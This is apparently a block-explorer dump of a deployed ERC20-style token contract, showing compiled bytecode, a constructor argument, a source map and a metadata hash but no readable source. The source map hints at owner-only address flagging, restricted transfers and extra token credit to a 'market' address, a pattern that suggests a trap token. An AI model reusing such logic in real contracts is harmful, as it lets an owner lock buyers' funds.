00680546001600160a01b0319166001600160a01b03831617905560015b919050565b610668610b51565b6106726000610bab565b565b60606004805461044190610eaa565b6001600160a01b0382166000908152602081905260408120546106a68484610799565b106106b3575060016104d8565b50600092915050565b600033816106ca8286610799565b90508381101561072f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61073c828686840361085c565b506001949350505050565b6000336104d2818585610980565b61075d610b51565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610796573d6000803e3d6000fd5b50565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6107cc610b51565b6107966107e182670de0b6b3a7640000610bfd565b610c10565b6107ee610b51565b6001600160a01b0381166108535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610726565b61079681610bab565b6001600160a01b0383166108be5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610726565b6001600160a01b03821661091f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610726565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109e45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610726565b6001600160a01b038216610a465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610726565b6001600160a01b03831660009081526020819052604090205481811015610abe5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610726565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b60008184841115610b495760405162461bcd60e51b81526004016107269190610c74565b505050900390565b6005546001600160a01b031633146106725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610726565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000610c098284610f44565b9392505050565b610c27600061062e6006546001600160a01b031690565b80600080610c3d6006546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610c6c9190610efb565b909155505050565b600060208083528351808285015260005b81811015610ca157858101830151858201604001528201610c85565b81811115610cb3576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461065b57600080fd5b60008060408385031215610cf357600080fd5b610cfc83610cc9565b946020939093013593505050565b600080600060608486031215610d1f57600080fd5b610d2884610cc9565b9250610d3660208501610cc9565b9150604084013590509250925092565b600060208284031215610d5857600080fd5b81358015158114610c0957600080fd5b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610d9157600080fd5b823567ffffffffffffffff80821115610da957600080fd5b818501915085601f830112610dbd57600080fd5b813581811115610dcf57610dcf610d68565b8060051b604051601f19603f83011681018181108582111715610df457610df4610d68565b604052918252848201925083810185019188831115610e1257600080fd5b938501935b82851015610e3757610e2885610cc9565b84529385019392850192610e17565b98975050505050505050565b600060208284031215610e5557600080fd5b610c0982610cc9565b60008060408385031215610e7157600080fd5b610e7a83610cc9565b9150610e8860208401610cc9565b90509250929050565b600060208284031215610ea357600080fd5b5035919050565b600181811c90821680610ebe57607f821691505b60208210811415610edf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610f0e57610f0e610ee5565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610f3d57610f3d610ee5565b5060010190565b6000816000190483118215151615610f5e57610f5e610ee5565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4afd528e67fbc795c0c731932ce4cefdb25bcfcdaace0dfc4e640392006850364736f6c634300080b0033

0000000000000000000000009c70e71909dc8951e078e5a6d66844849cb6b4f0

-----Decoded View---------------
Arg [0] : market_ (address): 0x9C70E71909dc8951e078e5A6D66844849CB6B4f0

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000009c70e71909dc8951e078e5a6d66844849cb6b4f0

13974:2428:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9009:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9941:201;;;;;;;;;;-1:-1:-1;9941:201:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;9941:201:0;1053:187:1;9330:108:0;;;;;;;;;;-1:-1:-1;9418:12:0;;9330:108;;;1391:25:1;;;1379:2;1364:18;9330:108:0;1245:177:1;14904:801:0;;;;;;;;;;-1:-1:-1;14904:801:0;;;;;:::i;:::-;;:::i;15713:99::-;;;;;;;;;;-1:-1:-1;15713:99:0;;;;;:::i;:::-;;:::i;:::-;;9229:93;;;;;;;;;;-1:-1:-1;9229:93:0;;9312:2;2180:36:1;;2168:2;2153:18;9229:93:0;2038:184:1;10419:238:0;;;;;;;;;;-1:-1:-1;10419:238:0;;;;;:::i;:::-;;:::i;15820:199::-;;;;;;;;;;-1:-1:-1;15820:199:0;;;;;:::i;:::-;;:::i;7478:128::-;;;;;;;;;;-1:-1:-1;7478:128:0;;;;;:::i;:::-;;:::i;9446:127::-;;;;;;;;;;-1:-1:-1;9446:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9547:18:0;9520:7;9547:18;;;;;;;;;;;;9446:127;6815:103;;;;;;;;;;;;;:::i;7614:81::-;;;;;;;;;;-1:-1:-1;7680:7:0;;-1:-1:-1;;;;;7680:7:0;7614:81;;;-1:-1:-1;;;;;3840:32:1;;;3822:51;;3810:2;3795:18;7614:81:0;3676:203:1;6580:87:0;;;;;;;;;;-1:-1:-1;6653:6:0;;-1:-1:-1;;;;;6653:6:0;6580:87;;9117:104;;;;;;;;;;;;;:::i;14591:191::-;;;;;;;;;;-1:-1:-1;14591:191:0;;;;;:::i;:::-;;:::i;10665:436::-;;;;;;;;;;-1:-1:-1;10665:436:0;;;;;:::i;:::-;;:::i;9581:193::-;;;;;;;;;;-1:-1:-1;9581:193:0;;;;;:::i;:::-;;:::i;14090:41::-;;;;;;;;;;-1:-1:-1;14090:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14790:106;;;;;;;;;;;;;:::i;9782:151::-;;;;;;;;;;-1:-1:-1;9782:151:0;;;;;:::i;:::-;;:::i;16132:97::-;;;;;;;;;;-1:-1:-1;16132:97:0;;;;;:::i;:::-;;:::i;6926:201::-;;;;;;;;;;-1:-1:-1;6926:201:0;;;;;:::i;:::-;;:::i;9009:100::-;9063:13;9096:5;9089:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9009:100;:::o;9941:201::-;10024:4;6133:10;10080:32;6133:10;10096:7;10105:6;10080:8;:32::i;:::-;10130:4;10123:11;;;9941:201;;;;;:::o;14904:801::-;-1:-1:-1;;;;;15031:17:0;;15010:4;15031:17;;;:9;:17;;;;;;;;15027:649;;;15065:36;15075:6;15083:9;15094:6;15065:9;:36::i;:::-;15116:119;15125:6;6133:10;15133:12;15147:87;15183:6;15147:87;;;;;;;;;;;;;;;;;:31;15157:6;6133:10;9782:151;:::i;15147:31::-;:35;:87;:35;:87::i;:::-;15116:8;:119::i;:::-;15027:649;;;15257:13;;-1:-1:-1;;;15257:13:0;;;;15253:423;;15296:36;15306:6;15314:9;15325:6;15296:9;:36::i;15253:423::-;15499:31;15509:6;15517:9;15528:1;15499:9;:31::i;:::-;15545:119;15554:6;6133:10;15562:12;6053:98;15545:119;-1:-1:-1;15693:4:0;14904:801;;;;;:::o;15713:99::-;6539:13;:11;:13::i;:::-;15783::::1;:21:::0;;;::::1;;-1:-1:-1::0;;;15783:21:0::1;-1:-1:-1::0;;;;15783:21:0;;::::1;::::0;;;::::1;::::0;;15713:99::o;10419:238::-;10507:4;6133:10;10563:64;6133:10;10579:7;10616:10;10588:25;6133:10;10579:7;10588:9;:25::i;:::-;:38;;;;:::i;15820:199::-;6539:13;:11;:13::i;:::-;15916:9:::1;15911:101;15931:10;:17;15927:1;:21;15911:101;;;15970:30;15986:10;15997:1;15986:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;16090:19:0;;;;;:9;:19;;;;;:26;;-1:-1:-1;;16090:26:0;16112:4;16090:26;;;16027:97;15970:30:::1;15950:3:::0;::::1;::::0;::::1;:::i;:::-;;;;15911:101;;;;15820:199:::0;:::o;7478:128::-;7542:4;6539:13;:11;:13::i;:::-;-1:-1:-1;7559:7:0::1;:17:::0;;-1:-1:-1;;;;;;7559:17:0::1;-1:-1:-1::0;;;;;7559:17:0;::::1;;::::0;;-1:-1:-1;6563:1:0::1;7478:128:::0;;;:::o;6815:103::-;6539:13;:11;:13::i;:::-;6880:30:::1;6907:1;6880:18;:30::i;:::-;6815:103::o:0;9117:104::-;9173:13;9206:7;9199:14;;;;;:::i;14591:191::-;-1:-1:-1;;;;;9547:18:0;;14672:4;9547:18;;;;;;;;;;;14693:25;14703:5;14710:7;14693:9;:25::i;:::-;:45;14689:62;;-1:-1:-1;14747:4:0;14740:11;;14689:62;-1:-1:-1;14769:5:0;14591:191;;;;:::o;10665:436::-;10758:4;6133:10;10758:4;10841:25;6133:10;10858:7;10841:9;:25::i;:::-;10814:52;;10905:15;10885:16;:35;;10877:85;;;;-1:-1:-1;;;10877:85:0;;5458:2:1;10877:85:0;;;5440:21:1;5497:2;5477:18;;;5470:30;5536:34;5516:18;;;5509:62;-1:-1:-1;;;5587:18:1;;;5580:35;5632:19;;10877:85:0;;;;;;;;;10998:60;11007:5;11014:7;11042:15;11023:16;:34;10998:8;:60::i;:::-;-1:-1:-1;11089:4:0;;10665:436;-1:-1:-1;;;;10665:436:0:o;9581:193::-;9660:4;6133:10;9716:28;6133:10;9733:2;9737:6;9716:9;:28::i;14790:106::-;6539:13;:11;:13::i;:::-;7680:7;;14839:49:::1;::::0;-1:-1:-1;;;;;7680:7:0;;;;14866:21:::1;14839:49:::0;::::1;;;::::0;::::1;::::0;;;14866:21;7680:7;14839:49;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14790:106::o:0;9782:151::-;-1:-1:-1;;;;;9898:18:0;;;9871:7;9898:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9782:151::o;16132:97::-;6539:13;:11;:13::i;:::-;16195:26:::1;16203:17;:7:::0;16215:4:::1;16203:11;:17::i;:::-;16195:7;:26::i;6926:201::-:0;6539:13;:11;:13::i;:::-;-1:-1:-1;;;;;7015:22:0;::::1;7007:73;;;::::0;-1:-1:-1;;;7007:73:0;;5864:2:1;7007:73:0::1;::::0;::::1;5846:21:1::0;5903:2;5883:18;;;5876:30;5942:34;5922:18;;;5915:62;-1:-1:-1;;;5993:18:1;;;5986:36;6039:19;;7007:73:0::1;5662:402:1::0;7007:73:0::1;7091:28;7110:8;7091:18;:28::i;12997:346::-:0;-1:-1:-1;;;;;13099:19:0;;13091:68;;;;-1:-1:-1;;;13091:68:0;;6271:2:1;13091:68:0;;;6253:21:1;6310:2;6290:18;;;6283:30;6349:34;6329:18;;;6322:62;-1:-1:-1;;;6400:18:1;;;6393:34;6444:19;;13091:68:0;6069:400:1;13091:68:0;-1:-1:-1;;;;;13178:21:0;;13170:68;;;;-1:-1:-1;;;13170:68:0;;6676:2:1;13170:68:0;;;6658:21:1;6715:2;6695:18;;;6688:30;6754:34;6734:18;;;6727:62;-1:-1:-1;;;6805:18:1;;;6798:32;6847:19;;13170:68:0;6474:398:1;13170:68:0;-1:-1:-1;;;;;13251:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13303:32;;1391:25:1;;;13303:32:0;;1364:18:1;13303:32:0;;;;;;;12997:346;;;:::o;11109:641::-;-1:-1:-1;;;;;11206:18:0;;11198:68;;;;-1:-1:-1;;;11198:68:0;;7079:2:1;11198:68:0;;;7061:21:1;7118:2;7098:18;;;7091:30;7157:34;7137:18;;;7130:62;-1:-1:-1;;;7208:18:1;;;7201:35;7253:19;;11198:68:0;6877:401:1;11198:68:0;-1:-1:-1;;;;;11285:16:0;;11277:64;;;;-1:-1:-1;;;11277:64:0;;7485:2:1;11277:64:0;;;7467:21:1;7524:2;7504:18;;;7497:30;7563:34;7543:18;;;7536:62;-1:-1:-1;;;7614:18:1;;;7607:33;7657:19;;11277:64:0;7283:399:1;11277:64:0;-1:-1:-1;;;;;11427:15:0;;11405:19;11427:15;;;;;;;;;;;11461:21;;;;11453:72;;;;-1:-1:-1;;;11453:72:0;;7889:2:1;11453:72:0;;;7871:21:1;7928:2;7908:18;;;7901:30;7967:34;7947:18;;;7940:62;-1:-1:-1;;;8018:18:1;;;8011:36;8064:19;;11453:72:0;7687:402:1;11453:72:0;-1:-1:-1;;;;;11561:15:0;;;:9;:15;;;;;;;;;;;11579:20;;;11561:38;;11614:13;;;;;;;;;;:23;;;;;;11666:26;;1391:25:1;;;11614:13:0;;11666:26;;1364:18:1;11666:26:0;;;;;;;11187:563;11109:641;;;:::o;5381:206::-;5467:7;5528:12;5520:6;;;;5512:29;;;;-1:-1:-1;;;5512:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;5563:5:0;;;5381:206::o;6675:132::-;6653:6;;-1:-1:-1;;;;;6653:6:0;6133:10;6739:23;6731:68;;;;-1:-1:-1;;;6731:68:0;;8296:2:1;6731:68:0;;;8278:21:1;;;8315:18;;;8308:30;8374:34;8354:18;;;8347:62;8426:18;;6731:68:0;8094:356:1;7135:191:0;7228:6;;;-1:-1:-1;;;;;7245:17:0;;;-1:-1:-1;;;;;;7245:17:0;;;;;;;7278:40;;7228:6;;;7245:17;7228:6;;7278:40;;7209:16;;7278:40;7198:128;7135:191;:::o;5063:98::-;5121:7;5148:5;5152:1;5148;:5;:::i;:::-;5141:12;5063:98;-1:-1:-1;;;5063:98:0:o;16237:162::-;16299:51;16328:1;16332:8;7680:7;;-1:-1:-1;;;;;7680:7:0;;7614:81;16299:51;16384:7;16361:9;:19;16371:8;7680:7;;-1:-1:-1;;;;;7680:7:0;;7614:81;16371:8;-1:-1:-1;;;;;16361:19:0;-1:-1:-1;;;;;16361:19:0;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;-1:-1:-1;;;16237:162:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;794:254;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1760:273::-;1816:6;1869:2;1857:9;1848:7;1844:23;1840:32;1837:52;;;1885:1;1882;1875:12;1837:52;1924:9;1911:23;1977:5;1970:13;1963:21;1956:5;1953:32;1943:60;;1999:1;1996;1989:12;2227:127;2288:10;2283:3;2279:20;2276:1;2269:31;2319:4;2316:1;2309:15;2343:4;2340:1;2333:15;2359:1121;2443:6;2474:2;2517;2505:9;2496:7;2492:23;2488:32;2485:52;;;2533:1;2530;2523:12;2485:52;2573:9;2560:23;2602:18;2643:2;2635:6;2632:14;2629:34;;;2659:1;2656;2649:12;2629:34;2697:6;2686:9;2682:22;2672:32;;2742:7;2735:4;2731:2;2727:13;2723:27;2713:55;;2764:1;2761;2754:12;2713:55;2800:2;2787:16;2822:2;2818;2815:10;2812:36;;;2828:18;;:::i;:::-;2874:2;2871:1;2867:10;2906:2;2900:9;2969:2;2965:7;2960:2;2956;2952:11;2948:25;2940:6;2936:38;3024:6;3012:10;3009:22;3004:2;2992:10;2989:18;2986:46;2983:72;;;3035:18;;:::i;:::-;3071:2;3064:22;3121:18;;;3155:15;;;;-1:-1:-1;3197:11:1;;;3193:20;;;3225:19;;;3222:39;;;3257:1;3254;3247:12;3222:39;3281:11;;;;3301:148;3317:6;3312:3;3309:15;3301:148;;;3383:23;3402:3;3383:23;:::i;:::-;3371:36;;3334:12;;;;3427;;;;3301:148;;;3468:6;2359:1121;-1:-1:-1;;;;;;;;2359:1121:1:o;3485:186::-;3544:6;3597:2;3585:9;3576:7;3572:23;3568:32;3565:52;;;3613:1;3610;3603:12;3565:52;3636:29;3655:9;3636:29;:::i;3884:260::-;3952:6;3960;4013:2;4001:9;3992:7;3988:23;3984:32;3981:52;;;4029:1;4026;4019:12;3981:52;4052:29;4071:9;4052:29;:::i;:::-;4042:39;;4100:38;4134:2;4123:9;4119:18;4100:38;:::i;:::-;4090:48;;3884:260;;;;;:::o;4149:180::-;4208:6;4261:2;4249:9;4240:7;4236:23;4232:32;4229:52;;;4277:1;4274;4267:12;4229:52;-1:-1:-1;4300:23:1;;4149:180;-1:-1:-1;4149:180:1:o;4334:380::-;4413:1;4409:12;;;;4456;;;4477:61;;4531:4;4523:6;4519:17;4509:27;;4477:61;4584:2;4576:6;4573:14;4553:18;4550:38;4547:161;;;4630:10;4625:3;4621:20;4618:1;4611:31;4665:4;4662:1;4655:15;4693:4;4690:1;4683:15;4547:161;;4334:380;;;:::o;4719:127::-;4780:10;4775:3;4771:20;4768:1;4761:31;4811:4;4808:1;4801:15;4835:4;4832:1;4825:15;4851:128;4891:3;4922:1;4918:6;4915:1;4912:13;4909:39;;;4928:18;;:::i;:::-;-1:-1:-1;4964:9:1;;4851:128::o;4984:127::-;5045:10;5040:3;5036:20;5033:1;5026:31;5076:4;5073:1;5066:15;5100:4;5097:1;5090:15;5116:135;5155:3;-1:-1:-1;;5176:17:1;;5173:43;;;5196:18;;:::i;:::-;-1:-1:-1;5243:1:1;5232:13;;5116:135::o;8455:168::-;8495:7;8561:1;8557;8553:6;8549:14;8546:1;8543:21;8538:1;8531:9;8524:17;8520:45;8517:71;;;8568:18;;:::i;:::-;-1:-1:-1;8608:9:1;;8455:168::o

ipfs://c4afd528e67fbc795c0c731932ce4cefdb25bcfcdaace0dfc4e6403920068503